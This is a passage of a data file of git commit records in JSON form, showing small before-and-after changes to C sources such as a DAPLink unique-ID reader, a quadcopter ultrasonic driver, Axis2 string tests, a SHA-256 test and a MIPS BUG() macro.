_KBSCLOUDAPP_\n\n#import \"KBSCloudAppUser.h\"\n#import \"KBSCloudAppAPI.h\"\n#import \"KBSCloudAppURL.h\"\n\nNS_ENUM(NSInteger, KBSCloudAppAPIErrorCode) {\n  KBSCloudAppNoUserOrPass,\n  KBSCloudAppAPIInvalidUser,\n  KBSCloudAppInternalError\n};\n\nstatic NSString * const KBSCloudAppAPIErrorDomain = @\"com.keithsmiley.cloudappapi\";\nstatic NSString * const baseAPI = @\"http:\/\/my.cl.ly\/\";\nstatic NSString * const baseShortURL = @\"cl.ly\";\nstatic NSString * const itemsPath   = @\"items\";\nstatic NSString * const accountPath = @\"account\";\n\n#endif\n","subject":"Include URL in common includes","message":"Include URL in common includes\n","lang":"C","license":"mit","repos":"keith\/KBSCloudAppAPI"}
{"commit":"2d02b4ce02e4ec00b773f193f06ba44f0e1d57a4","old_file":"source\/common\/hal\/freescale\/k20dx\/read_uid.c","new_file":"source\/common\/hal\/freescale\/k20dx\/read_uid.c","old_contents":"\/* CMSIS-DAP Interface Firmware\n * Copyright (c) 2009-2013 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include \"MK20D5.h\"\n#include \"read_uid.h\"\n\nvoid read_unique_id(uint32_t * id) {\n        *id = SIM->UIDL ^ SIM->UIDML ^ SIM->UIDMH ^ SIM->UIDH;\n}\n","new_contents":"\/* CMSIS-DAP Interface Firmware\n * Copyright (c) 2009-2013 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include \"MK20D5.h\"\n#include \"read_uid.h\"\n\nvoid read_unique_id(uint32_t * id) {\n        id[0] = SIM->UIDL;\n        id[1] = SIM->UIDML;\n        id[2] = SIM->UIDMH;\n        id[3] = SIM->UIDH;\n}\n","subject":"Use the full UUID for the K20DX","message":"Use the full UUID for the K20DX\n\nUse all 4 words of the unique ID individually rather than xor ing them\nall together.\n","lang":"C","license":"apache-2.0","repos":"sg-\/DAPLink,sg-\/DAPLink,sg-\/DAPLink,google\/DAPLink-port,google\/DAPLink-port,google\/DAPLink-port,google\/DAPLink-port"}
{"commit":"8dcdc08596a7065b20e037ceb19ee286ebf98a76","old_file":"proc_info\/openbsd_proc_info.c","new_file":"proc_info\/openbsd_proc_info.c","old_contents":"","new_contents":"#include <fcntl.h>\n#include <kvm.h>\n#include <sys\/sysctl.h>\n\n\n#include <unistd.h>\n#include <stdio.h>\n#include <time.h>\n\nint main(int argc,char** args) {\n\tkvm_t* kd;\n\n\t\/\/ Get a handle to libkvm interface\n\tkd = kvm_open(NULL, NULL, NULL, KVM_NO_FILES, \"error: \");\n\n\tpid_t pid;\n\tpid = getpid();\n\n\tstruct kinfo_proc * kp;\n\tint p_count;\n\n\t\/\/ Get the kinfo_proc2 for this process by its pid\n\tkp = kvm_getprocs(kd, KERN_PROC_PID, pid, sizeof(struct kinfo_proc), &p_count);\n\n\tprintf(\"got %i kinfo_proc2 for pid %i\\n\", p_count, pid);\n\n\n\t\/\/ \/usr\/include\/sys\/sysctl.h details the kinfo_proc2 struct\n\ttime_t proc_start_time;\n\tproc_start_time = kp->p_ustart_sec;\n\tkvm_close(kd);\n\n\n\tprintf(\"sleeping for 15 seconds\\n\");\n\tsleep(15);\n\tprintf(\"Process started at      %s\\n\", ctime(&proc_start_time));\n\n\ttime_t current_time;\n\tcurrent_time = time(NULL);\n\tprintf(\"Current time after nap  %s\\n\", ctime(&current_time));\n\n\t\t\n\n\n\treturn 0;\n}\n\n\n","subject":"Add support for openbsd, test on openbsd 6.8","message":"Add support for openbsd, test on openbsd 6.8\n","lang":"C","license":"cc0-1.0","repos":"dnabre\/misc"}
{"commit":"93fcae8ec3035b4b3f1b3a789ecfa15e20c00f8b","old_file":"program\/driver\/us100.c","new_file":"program\/driver\/us100.c","old_contents":"\/*==============================================================================================*\/\n\/*==============================================================================================*\/\n#include \"QuadCopterConfig.h\"\n\n\/* Connection methods of Ultrasonic *\/\n#define ULT_USE_UART2\t1\n#define ULT_USE_PWM\t\t0\n\nUltrasonic_t Ultrasonic = {\n\t.lenHigh = 0,\n\t.lenLow = 0,\n\t.d = 0\n};\n\n\/*==============================================================================================*\/\n\/*==============================================================================================*\n**函數 : us100_distant\n**功能 : get 1 calculated distant data from the data received by USART \n**輸入 : Ultrasonic.lenHigh, Ultrasonic.lenLow \n**輸出 : Ultrasonic.d (mm)\n**使用 : print_us100_distant();\n**==============================================================================================*\/\n\/*==============================================================================================*\/\nvoid print_us100_distance(){\n\n#if ULT_USE_UART2\n\n\tserial2.putc('U');\n\tvTaskDelay(500);\n\t \n\tUltrasonic.lenHigh = serial2.getc();\n\tUltrasonic.lenLow = serial2.getc();\n\tUltrasonic.d = (Ultrasonic.lenHigh*256 + Ultrasonic.lenLow)*0.1;\n\n\tserial.printf(\"Distance: \");\n\tserial.printf(\"%d\",Ultrasonic.d);\n\tserial.printf(\" cm\\n\\r\");\n\tvTaskDelay(30);\n#endif\n\n}\n","new_contents":"\/*==============================================================================================*\/\n\/*==============================================================================================*\/\n#include \"QuadCopterConfig.h\"\n\n\/* Connection methods of Ultrasonic *\/\n#define ULT_USE_UART2\t1\n#define ULT_USE_PWM\t\t0\n\nUltrasonic_t Ultrasonic = {\n\t.lenHigh = 0,\n\t.lenLow = 0,\n\t.d = 0\n};\n\n\/*==============================================================================================*\/\n\/*==============================================================================================*\n**函數 : us100_distant\n**功能 : get 1 calculated distant data from the data received by USART \n**輸入 : Ultrasonic.lenHigh, Ultrasonic.lenLow \n**輸出 : Ultrasonic.d (mm)\n**使用 : print_us100_distant();\n**==============================================================================================*\/\n\/*==============================================================================================*\/\nvoid print_us100_distance(){\n\n#if ULT_USE_UART2\n\n\tserial2.putc('U');\n\tvTaskDelay(70);\n\t \n\tUltrasonic.lenHigh = serial2.getc();\n\tUltrasonic.lenLow = serial2.getc();\n\tUltrasonic.d = (Ultrasonic.lenHigh*256 + Ultrasonic.lenLow)*0.1;\n\n\tserial.printf(\"Distance: \");\n\tserial.printf(\"%d\",Ultrasonic.d);\n\tserial.printf(\" cm\\n\\r\");\n\tvTaskDelay(30);\n#endif\n\n}\n","subject":"Fix speed of ultrasonic display","message":"Fix speed of ultrasonic display\n","lang":"C","license":"mit","repos":"zxc2694\/STM32F429_Quadrotor,zxc2694\/STM32F429_Quadrotor,zxc2694\/STM32F429_Quadrotor"}
{"commit":"6fa3dbcb9600a94ee0183733ca8db869770246dd","old_file":"util\/test\/util\/test_string.c","new_file":"util\/test\/util\/test_string.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <axis2_error_default.h>\n#include <axis2_log.h>\n#include <axis2_string.h>\n\nvoid test_strltrim(const axis2_env_t *env)\n{\n\taxis2_char_t s[100]=\" \tabcd efgh \t\";\n\taxis2_char_t *trimmed;\n\ttrimmed = AXIS2_STRLTRIM(s, \" \\t\\r\\n\");\n\tif (0 == AXIS2_STRCMP(trimmed, \"abcd efgh \t\"))\n\t\tprintf(\"AXIS2_STRLTRIM successful\\n\");\n\telse\n\t\tprintf(\"AXIS2_STRLTRIM failed [%s]\\n\", trimmed);\n}\n\nvoid test_strrtrim(const axis2_env_t *env)\n{\n\taxis2_char_t s[100]=\" \tabcd efgh \t\";\n\taxis2_char_t *trimmed;\n\ttrimmed = AXIS2_STRRTRIM(s, \" \\t\\r\\n\");\n\tif (0 == AXIS2_STRCMP(trimmed, \" \tabcd efgh\"))\n\t\tprintf(\"AXIS2_STRRTRIM successful\\n\");\n\telse\n\t\tprintf(\"AXIS2_STRRTRIM failed [%s]\\n\", trimmed);\n}\n\nvoid test_strtrim(const axis2_env_t *env)\n{\n\taxis2_char_t s[100]=\" \tabcd efgh \t\";\n\taxis2_char_t *trimmed;\n\ttrimmed = AXIS2_STRTRIM(s, \" \\t\\r\\n\");\n\tif (0 == AXIS2_STRCMP(trimmed, \"abcd efgh\"))\n\t\tprintf(\"AXIS2_STRTRIM successful\\n\");\n\telse\n\t\tprintf(\"AXIS2_STRTRIM failed [%s]\\n\", trimmed);\n}\n\nvoid run_test_string(axis2_env_t *env)\n{\n   if (!env)\n      return;\n   test_strltrim(env);\n   test_strrtrim(env);\n   test_strtrim(env);\n}\n\n","subject":"Test for trim functions added.","message":"Test for trim functions added.\n\n\n\ngit-svn-id: fbb392d5347ebc45c06187f72dfd8bab02595dbf@413026 13f79535-47bb-0310-9956-ffa450edef68\n","lang":"C","license":"apache-2.0","repos":"axbannaz\/axis2-c,axbannaz\/axis2-c,axbannaz\/axis2-c,axbannaz\/axis2-c,axbannaz\/axis2-c,axbannaz\/axis2-c"}
{"commit":"3e17ed56780465cd5bc949d8eed9c1e8bb6522fe","old_file":"src\/input.c","new_file":"src\/input.c","old_contents":"\/\/ input.c\n\n#include \"..\/include\/simple2d.h\"\n\n\n\/*\n * Get the mouse coordinates relative to the viewport\n *\/\nvoid S2D_GetMouseOnViewport(S2D_Window *window, int wx, int wy, int *x, int *y) {\n  \n  double scale;  \/\/ viewport scale factor\n  int w, h;      \/\/ width and height of scaled viewport\n  \n  switch (window->viewport.mode) {\n    \n    case S2D_FIXED:\n      *x = wx; *y = wy;\n      break;\n    \n    case S2D_SCALE:\n      S2D_GL_GetViewportScale(window, &w, &h, &scale);\n      *x = wx * 1 \/ scale - (window->width  - w) \/ (2.0 * scale);\n      *y = wy * 1 \/ scale - (window->height - h) \/ (2.0 * scale);\n      break;\n    \n    case S2D_STRETCH:\n      *x = wx * window->viewport.width  \/ (double)window->width;\n      *y = wy * window->viewport.height \/ (double)window->height;\n      break;\n  }\n}\n","new_contents":"\/\/ input.c\n\n#include \"..\/include\/simple2d.h\"\n\n\n\/*\n * Get the mouse coordinates relative to the viewport\n *\/\nvoid S2D_GetMouseOnViewport(S2D_Window *window, int wx, int wy, int *x, int *y) {\n  \n  double scale;  \/\/ viewport scale factor\n  int w, h;      \/\/ width and height of scaled viewport\n  \n  switch (window->viewport.mode) {\n    \n    case S2D_FIXED:\n      *x = wx \/ (window->orig_width  \/ (double)window->viewport.width);\n      *y = wy \/ (window->orig_height \/ (double)window->viewport.height);\n      break;\n    \n    case S2D_SCALE:\n      S2D_GL_GetViewportScale(window, &w, &h, &scale);\n      *x = wx * 1 \/ scale - (window->width  - w) \/ (2.0 * scale);\n      *y = wy * 1 \/ scale - (window->height - h) \/ (2.0 * scale);\n      break;\n    \n    case S2D_STRETCH:\n      *x = wx * window->viewport.width  \/ (double)window->width;\n      *y = wy * window->viewport.height \/ (double)window->height;\n      break;\n  }\n}\n","subject":"Fix mouse position over an `S2D_FIXED` viewport","message":"Fix mouse position over an `S2D_FIXED` viewport\n","lang":"C","license":"mit","repos":"simple2d\/simple2d,simple2d\/simple2d"}
{"commit":"1cc80628fc64ff01aec730304e1bb06c0eb6e052","old_file":"warmup\/diagonal_difference.c","new_file":"warmup\/diagonal_difference.c","old_contents":"","new_contents":"\/*\nInput Format\n\nThe first line contains a single integer N. The next N lines contain N integers (each) describing the matrix.\n\nConstraints \n1≤N≤100 \n−100≤A[i]≤100\nOutput Format\n\nOutput a single integer equal to the absolute difference in the sums across the diagonals.\n\nSample Input\n\n3\n11 2 4\n4 5 6\n10 8 -12\nSample Output\n\n15\nExplanation\n\nThe first diagonal of the matrix is:\n\n11\n    5\n        -12\nSum across the first diagonal = 11+5-12= 4\n\nThe second diagonal of the matrix is:\n\n        4\n    5\n10\nSum across the second diagonal = 4+5+10 = 19 \nDifference: |4-19| =15\n*\/\n#include <stdio.h>\n#include <string.h>\n#include <math.h>\n#include <stdlib.h>\n\nint main() {\n    int n,i,j;\n    scanf(\"%d\",&n);\n    int A[n][n];\n    int d1=0;\n    int d2=0;\n    for(i=0; i<n ; i++){\n        for(j=0; j<n; j++){\n            scanf(\"%d \",&A[i][j]);\n        }\n    }\n    for(i=0; i<n ;i++){\n        d1 = d1 + A[i][i];\n        d2 = d2 + A[i][n-1-i];\n    }\n    printf(\"%d\\n\", abs(d1-d2));\n    return 0;\n}\n","subject":"Add Diagonal Diff for NxN matrix","message":"Add Diagonal Diff for NxN matrix\n","lang":"C","license":"mit","repos":"anaghajoshi\/HackerRank"}
{"commit":"cce36d17a24c875d8418d07c3c661a14ae421199","old_file":"secure_api\/vale\/asm\/testsha256.c","new_file":"secure_api\/vale\/asm\/testsha256.c","old_contents":"","new_contents":"#include \"sha256_main_i.h\"\n\nint main()\n{\n  uint8_t  plaintext[3U] = { (uint8_t)0x61U, (uint8_t)0x62U, (uint8_t)0x63U };\n  uint32_t plaintext_len = (uint32_t)3U;\n\n  uint32_t output[8];\n  uint32_t output_len = (uint32_t)32U;\n\n  \/*\n  \/\/ This is equivalent to what sha256_main_i_SHA256_Complete does:\n  uint32_t h[8];\n  uint8_t unprocessed[64];\n\n  sha256_main_i_SHA256Context ctx;\n  ctx.H = h;\n  ctx.unprocessed_bytes = unprocessed;\n  ctx.num_unprocessed_bytes = 0;\n  ctx.num_total_bytes = 0;\n  \n  sha256_main_i_SHA256_Init(&ctx);\n  sha256_main_i_SHA256_Update(&ctx, plaintext, 0, 3);\n  sha256_main_i_SHA256_Final(&ctx, output);\n  *\/\n  \n  sha256_main_i_SHA256_Complete(plaintext, 0, 3, output);\n\n  \/*\n  \/\/ Reverse byte order of 4-byte chunks of output\n  for (int i = 0; i < 8; i++) {\n    uint32_t v = ((uint32_t *) output)[i];\n    output[i * 4]     = v >> 24;\n    output[i * 4 + 1] = v >> 16;\n    output[i * 4 + 2] = v >> 8;\n    output[i * 4 + 3] = v;\n  }\n  *\/\n\n  printf(\"Expected digest                      : ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad\\n\");\n   \n  printf(\"4-byte chunks of digest as uint32_t's: \");\n  for (int i = 0; i < 8; i++) {\n    printf(\"%02x\", ((uint32_t *) output)[i]);\n  }\n  printf(\"\\n\");\n\n  printf(\"Digest byte by byte                  : \");\n  for (int i = 0; i < 32; i++) {\n    printf(\"%02x\", ((uint8_t *) output)[i]);\n  }\n  printf(\"\\n\");\n\n  return 0;\n}\n\n","subject":"Add standalone test for Vale SHA2-256","message":"Add standalone test for Vale SHA2-256\n","lang":"C","license":"apache-2.0","repos":"mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star"}
{"commit":"067bb0d1183573504aa10ac2132c37aa0dac4aa6","old_file":"libraries\/base\/cbits\/PrelIOUtils.c","new_file":"libraries\/base\/cbits\/PrelIOUtils.c","old_contents":"\/* \n * (c) The University of Glasgow 2002\n *\n * static versions of the inline functions in HsCore.h\n *\/\n\n#define INLINE\n\n#ifdef __GLASGOW_HASKELL__\n# include \"Rts.h\"\n#endif\n\n#include \"HsBase.h\"\n\n#ifdef __GLASGOW_HASKELL__\n\nvoid errorBelch2(const char*s, char *t)\n{\n    errorBelch(s,t);\n}\n\nvoid debugBelch2(const char*s, char *t)\n{\n    debugBelch(s,t);\n}\n\n#if defined(HAVE_LIBCHARSET)\n#  include <libcharset.h>\n#elif defined(HAVE_LANGINFO_H)\n#  include <langinfo.h>\n#endif\n\n#if !defined(mingw32_HOST_OS)\nconst char* localeEncoding(void)\n{\n#if defined(HAVE_LIBCHARSET)\n    return locale_charset();\n\n#elif defined(HAVE_LANGINFO_H)\n    return nl_langinfo(CODESET);\n\n#else\n#warning Depending on the unportable behavior of GNU iconv due to absence of both libcharset and langinfo.h\n    \/* GNU iconv accepts \"\" to mean the current locale's\n     * encoding. Warning: This isn't portable.\n     *\/\n    return \"\";\n#endif\n}\n#endif\n\n#endif \/* __GLASGOW_HASKELL__ *\/\n","new_contents":"\/* \n * (c) The University of Glasgow 2002\n *\n * static versions of the inline functions in HsBase.h\n *\/\n\n#define INLINE\n\n#ifdef __GLASGOW_HASKELL__\n# include \"Rts.h\"\n#endif\n\n#include \"HsBase.h\"\n\n#ifdef __GLASGOW_HASKELL__\n\nvoid errorBelch2(const char*s, char *t)\n{\n    errorBelch(s,t);\n}\n\nvoid debugBelch2(const char*s, char *t)\n{\n    debugBelch(s,t);\n}\n\n#if defined(HAVE_LIBCHARSET)\n#  include <libcharset.h>\n#elif defined(HAVE_LANGINFO_H)\n#  include <langinfo.h>\n#endif\n\n#if !defined(mingw32_HOST_OS)\nconst char* localeEncoding(void)\n{\n#if defined(HAVE_LIBCHARSET)\n    return locale_charset();\n\n#elif defined(HAVE_LANGINFO_H)\n    return nl_langinfo(CODESET);\n\n#else\n#warning Depending on the unportable behavior of GNU iconv due to absence of both libcharset and langinfo.h\n    \/* GNU iconv accepts \"\" to mean the current locale's\n     * encoding. Warning: This isn't portable.\n     *\/\n    return \"\";\n#endif\n}\n#endif\n\n#endif \/* __GLASGOW_HASKELL__ *\/\n","subject":"Update a comment in base cbits","message":"Update a comment in base cbits\n","lang":"C","license":"bsd-3-clause","repos":"ezyang\/ghc,urbanslug\/ghc,TomMD\/ghc,shlevy\/ghc,TomMD\/ghc,tjakway\/ghcjvm,sdiehl\/ghc,mettekou\/ghc,siddhanathan\/ghc,TomMD\/ghc,sgillespie\/ghc,nathyong\/microghc-ghc,jstolarek\/ghc,nathyong\/microghc-ghc,ezyang\/ghc,gridaphobe\/ghc,ml9951\/ghc,mcschroeder\/ghc,da-x\/ghc,ml9951\/ghc,oldmanmike\/ghc,anton-dessiatov\/ghc,sdiehl\/ghc,nathyong\/microghc-ghc,green-haskell\/ghc,vikraman\/ghc,spacekitteh\/smcghc,da-x\/ghc,nushio3\/ghc,acowley\/ghc,siddhanathan\/ghc,oldmanmike\/ghc,GaloisInc\/halvm-ghc,wxwxwwxxx\/ghc,spacekitteh\/smcghc,TomMD\/ghc,mfine\/ghc,vikraman\/ghc,da-x\/ghc,olsner\/ghc,vTurbine\/ghc,anton-dessiatov\/ghc,nkaretnikov\/ghc,vikraman\/ghc,TomMD\/ghc,nkaretnikov\/ghc,anton-dessiatov\/ghc,GaloisInc\/halvm-ghc,vTurbine\/ghc,gridaphobe\/ghc,forked-upstream-packages-for-ghcjs\/ghc,ml9951\/ghc,nkaretnikov\/ghc,AlexanderPankiv\/ghc,jstolarek\/ghc,urbanslug\/ghc,jstolarek\/ghc,gcampax\/ghc,ezyang\/ghc,mcschroeder\/ghc,bitemyapp\/ghc,sgillespie\/ghc,oldmanmike\/ghc,snoyberg\/ghc,nushio3\/ghc,nathyong\/microghc-ghc,forked-upstream-packages-for-ghcjs\/ghc,mcschroeder\/ghc,GaloisInc\/halvm-ghc,olsner\/ghc,acowley\/ghc,mfine\/ghc,gcampax\/ghc,gcampax\/ghc,mettekou\/ghc,siddhanathan\/ghc,mettekou\/ghc,snoyberg\/ghc,wxwxwwxxx\/ghc,wxwxwwxxx\/ghc,shlevy\/ghc,da-x\/ghc,ezyang\/ghc,mfine\/ghc,ghc-android\/ghc,olsner\/ghc,green-haskell\/ghc,wxwxwwxxx\/ghc,nathyong\/microghc-ghc,nushio3\/ghc,gcampax\/ghc,mfine\/ghc,sgillespie\/ghc,anton-dessiatov\/ghc,nushio3\/ghc,elieux\/ghc,siddhanathan\/ghc,fmthoma\/ghc,christiaanb\/ghc,vTurbine\/ghc,TomMD\/ghc,TomMD\/ghc,green-haskell\/ghc,anton-dessiatov\/ghc,vTurbine\/ghc,oldmanmike\/ghc,christiaanb\/ghc,sgillespie\/ghc,wxwxwwxxx\/ghc,fmthoma\/ghc,da-x\/ghc,AlexanderPankiv\/ghc,AlexanderPankiv\/ghc,bitemyapp\/ghc,snoyberg\/ghc,tjakway\/ghcjvm,nkaretnikov\/ghc,urbanslug\/ghc,gcampax\/ghc,ezyang\/ghc,AlexanderPankiv\/ghc,elieux\/ghc,elieux\/ghc,shlevy\/ghc,spacekitteh\/smcghc,sgillespie\/ghc,christiaanb\/ghc,wxwxwwxxx\/ghc,fmthoma\/ghc,sdiehl\/ghc,urbanslug\/ghc,nushio3\/ghc,mettekou\/ghc,snoyberg\/ghc,jstolarek\/ghc,vTurbine\/ghc,tjakway\/ghcjvm,acowley\/ghc,shlevy\/ghc,gridaphobe\/ghc,ezyang\/ghc,vTurbine\/ghc,olsner\/ghc,ml9951\/ghc,siddhanathan\/ghc,mettekou\/ghc,christiaanb\/ghc,gridaphobe\/ghc,fmthoma\/ghc,vTurbine\/ghc,fmthoma\/ghc,ghc-android\/ghc,gridaphobe\/ghc,elieux\/ghc,forked-upstream-packages-for-ghcjs\/ghc,christiaanb\/ghc,forked-upstream-packages-for-ghcjs\/ghc,urbanslug\/ghc,snoyberg\/ghc,sdiehl\/ghc,elieux\/ghc,nathyong\/microghc-ghc,forked-upstream-packages-for-ghcjs\/ghc,tjakway\/ghcjvm,shlevy\/ghc,vikraman\/ghc,ml9951\/ghc,nushio3\/ghc,mfine\/ghc,AlexanderPankiv\/ghc,ml9951\/ghc,urbanslug\/ghc,oldmanmike\/ghc,nushio3\/ghc,ghc-android\/ghc,oldmanmike\/ghc,bitemyapp\/ghc,fmthoma\/ghc,siddhanathan\/ghc,acowley\/ghc,forked-upstream-packages-for-ghcjs\/ghc,bitemyapp\/ghc,sdiehl\/ghc,GaloisInc\/halvm-ghc,ezyang\/ghc,acowley\/ghc,shlevy\/ghc,nathyong\/microghc-ghc,mcschroeder\/ghc,ml9951\/ghc,GaloisInc\/halvm-ghc,nkaretnikov\/ghc,tjakway\/ghcjvm,gridaphobe\/ghc,gcampax\/ghc,fmthoma\/ghc,vikraman\/ghc,ghc-android\/ghc,sgillespie\/ghc,forked-upstream-packages-for-ghcjs\/ghc,vikraman\/ghc,tjakway\/ghcjvm,ghc-android\/ghc,sdiehl\/ghc,AlexanderPankiv\/ghc,nkaretnikov\/ghc,anton-dessiatov\/ghc,bitemyapp\/ghc,elieux\/ghc,nkaretnikov\/ghc,green-haskell\/ghc,mfine\/ghc,gridaphobe\/ghc,siddhanathan\/ghc,oldmanmike\/ghc,da-x\/ghc,shlevy\/ghc,mettekou\/ghc,urbanslug\/ghc,mfine\/ghc,GaloisInc\/halvm-ghc,olsner\/ghc,snoyberg\/ghc,wxwxwwxxx\/ghc,mettekou\/ghc,sdiehl\/ghc,spacekitteh\/smcghc,christiaanb\/ghc,GaloisInc\/halvm-ghc,spacekitteh\/smcghc,acowley\/ghc,olsner\/ghc,olsner\/ghc,vikraman\/ghc,elieux\/ghc,snoyberg\/ghc,anton-dessiatov\/ghc,AlexanderPankiv\/ghc,mcschroeder\/ghc,acowley\/ghc,ghc-android\/ghc,sgillespie\/ghc,tjakway\/ghcjvm,ghc-android\/ghc,ml9951\/ghc,mcschroeder\/ghc,gcampax\/ghc,da-x\/ghc,green-haskell\/ghc,mcschroeder\/ghc,christiaanb\/ghc,jstolarek\/ghc"}
{"commit":"70f269b59dbd1f483940d401e6e82fe5f2408a92","old_file":"utils\/log.h","new_file":"utils\/log.h","old_contents":"\/*\n * Copyright 2003 James Bursa <bursa@users.sourceforge.net>\n * Copyright 2004 John Tytgat <John.Tytgat@aaug.net>\n *\n * This file is part of NetSurf, http:\/\/www.netsurf-browser.org\/\n * Licenced under the MIT License,\n *                http:\/\/www.opensource.org\/licenses\/mit-license.php\n *\/\n\n#include <stdio.h>\n\n#ifndef _LIBNSGIF_LOG_H_\n#define _LIBNSGIF_LOG_H_\n\n#ifdef NDEBUG\n#  define LOG(x) ((void) 0)\n#else\n#  ifdef __GNUC__\n#    define LOG(x) do { printf x, fputc('\\n', stdout)); } while (0)\n#  elif defined(__CC_NORCROFT)\n#    define LOG(x) do { printf x, fputc('\\n', stdout)); } while (0)\n#  else\n#    define LOG(x) do { printf x, fputc('\\n', stdout)); } while (0)\n#  endif\n#endif\n\n#endif\n","new_contents":"\/*\n * Copyright 2003 James Bursa <bursa@users.sourceforge.net>\n * Copyright 2004 John Tytgat <John.Tytgat@aaug.net>\n *\n * This file is part of NetSurf, http:\/\/www.netsurf-browser.org\/\n * Licenced under the MIT License,\n *                http:\/\/www.opensource.org\/licenses\/mit-license.php\n *\/\n\n#include <stdio.h>\n\n#ifndef _LIBNSBMP_LOG_H_\n#define _LIBNSBMP_LOG_H_\n\n#ifdef NDEBUG\n#  define LOG(x) ((void) 0)\n#else\n#  ifdef __GNUC__\n#    define LOG(x) do { printf x, fputc('\\n', stdout)); } while (0)\n#  elif defined(__CC_NORCROFT)\n#    define LOG(x) do { printf x, fputc('\\n', stdout)); } while (0)\n#  else\n#    define LOG(x) do { printf x, fputc('\\n', stdout)); } while (0)\n#  endif\n#endif\n\n#endif\n","subject":"Fix misleading dbl header include protection test.","message":"Fix misleading dbl header include protection test.\n\nsvn path=\/trunk\/libnsbmp\/; revision=5312\n","lang":"C","license":"mit","repos":"dkua\/libnsbmp,dkua\/libnsbmp"}
{"commit":"664508dc503dff2492306255827eb1861cfb8ce0","old_file":"tests\/c-api-tests\/parsestring-using-cinterface.c","new_file":"tests\/c-api-tests\/parsestring-using-cinterface.c","old_contents":"","new_contents":"#include <stdio.h>\n#include \"c_interface.h\"\n\nint main() {\n  VC vc = vc_createValidityChecker();\n  vc_setFlags(vc,'n');\n  vc_setFlags(vc,'d');\n  vc_setFlags(vc,'p');\n  vc_setFlags(vc,'m');\n\n  Expr q;\n  Expr asserts;\n\n  \n  const char* s =       \"(benchmark fg.smt\\n\"\n\t\t\t\":logic QF_AUFBV\\n\"\n\t\t\t\":extrafuns ((x_32 BitVec[32]))\\n\"\n\t\t\t\":extrafuns ((y32 BitVec[32]))\\n\"\n\t\t\t\":assumption true\\n)\\n\";\n\n  vc_parseMemExpr(vc,s,&q,&asserts); \n  \n  vc_printExpr(vc, q);\n  vc_printExpr(vc, asserts);\n  printf(\"\\n\");\n\n  vc_Destroy(vc);\n}\n\n","subject":"Fix regresscapi. This file wasn't checked in","message":"Fix regresscapi. This file wasn't checked in\n","lang":"C","license":"mit","repos":"kyledewey\/stp,kyledewey\/stp,kyledewey\/stp,kyledewey\/stp,kyledewey\/stp,kyledewey\/stp"}
{"commit":"4ef5651e85589e3aaca704c6d2d7ae7e794e5d25","old_file":"arch\/mips\/include\/asm\/bug.h","new_file":"arch\/mips\/include\/asm\/bug.h","old_contents":"#ifndef __ASM_BUG_H\n#define __ASM_BUG_H\n\n#include <linux\/compiler.h>\n#include <asm\/sgidefs.h>\n\n#ifdef CONFIG_BUG\n\n#include <asm\/break.h>\n\nstatic inline void __noreturn BUG(void)\n{\n\t__asm__ __volatile__(\"break %0\" : : \"i\" (BRK_BUG));\n\t\/* Fool GCC into thinking the function doesn't return. *\/\n\twhile (1)\n\t\t;\n}\n\n#define HAVE_ARCH_BUG\n\n#if (_MIPS_ISA > _MIPS_ISA_MIPS1)\n\nstatic inline void  __BUG_ON(unsigned long condition)\n{\n\tif (__builtin_constant_p(condition)) {\n\t\tif (condition)\n\t\t\tBUG();\n\t\telse\n\t\t\treturn;\n\t}\n\t__asm__ __volatile__(\"tne $0, %0, %1\"\n\t\t\t     : : \"r\" (condition), \"i\" (BRK_BUG));\n}\n\n#define BUG_ON(C) __BUG_ON((unsigned long)(C))\n\n#define HAVE_ARCH_BUG_ON\n\n#endif \/* _MIPS_ISA > _MIPS_ISA_MIPS1 *\/\n\n#endif\n\n#include <asm-generic\/bug.h>\n\n#endif \/* __ASM_BUG_H *\/\n","new_contents":"#ifndef __ASM_BUG_H\n#define __ASM_BUG_H\n\n#include <linux\/compiler.h>\n#include <asm\/sgidefs.h>\n\n#ifdef CONFIG_BUG\n\n#include <asm\/break.h>\n\nstatic inline void __noreturn BUG(void)\n{\n\t__asm__ __volatile__(\"break %0\" : : \"i\" (BRK_BUG));\n\tunreachable();\n}\n\n#define HAVE_ARCH_BUG\n\n#if (_MIPS_ISA > _MIPS_ISA_MIPS1)\n\nstatic inline void  __BUG_ON(unsigned long condition)\n{\n\tif (__builtin_constant_p(condition)) {\n\t\tif (condition)\n\t\t\tBUG();\n\t\telse\n\t\t\treturn;\n\t}\n\t__asm__ __volatile__(\"tne $0, %0, %1\"\n\t\t\t     : : \"r\" (condition), \"i\" (BRK_BUG));\n}\n\n#define BUG_ON(C) __BUG_ON((unsigned long)(C))\n\n#define HAVE_ARCH_BUG_ON\n\n#endif \/* _MIPS_ISA > _MIPS_ISA_MIPS1 *\/\n\n#endif\n\n#include <asm-generic\/bug.h>\n\n#endif \/* __ASM_BUG_H *\/\n","subject":"Convert BUG() to use unreachable()","message":"MIPS: Convert BUG() to use unreachable()\n\nUse the new unreachable() macro instead of while(1);\n\nSigned-off-by: David Daney <0662de36cfb0706ed279bff52abef14720945acc@caviumnetworks.com>\nAcked-by: Ralf Baechle <92f48d309cda194c8eda36aa8f9ae28c488fa208@linux-mips.org>\nCC: 562397917b9a8bf316569a848858b12fb417723f@linux-mips.org\nSigned-off-by: Linus Torvalds 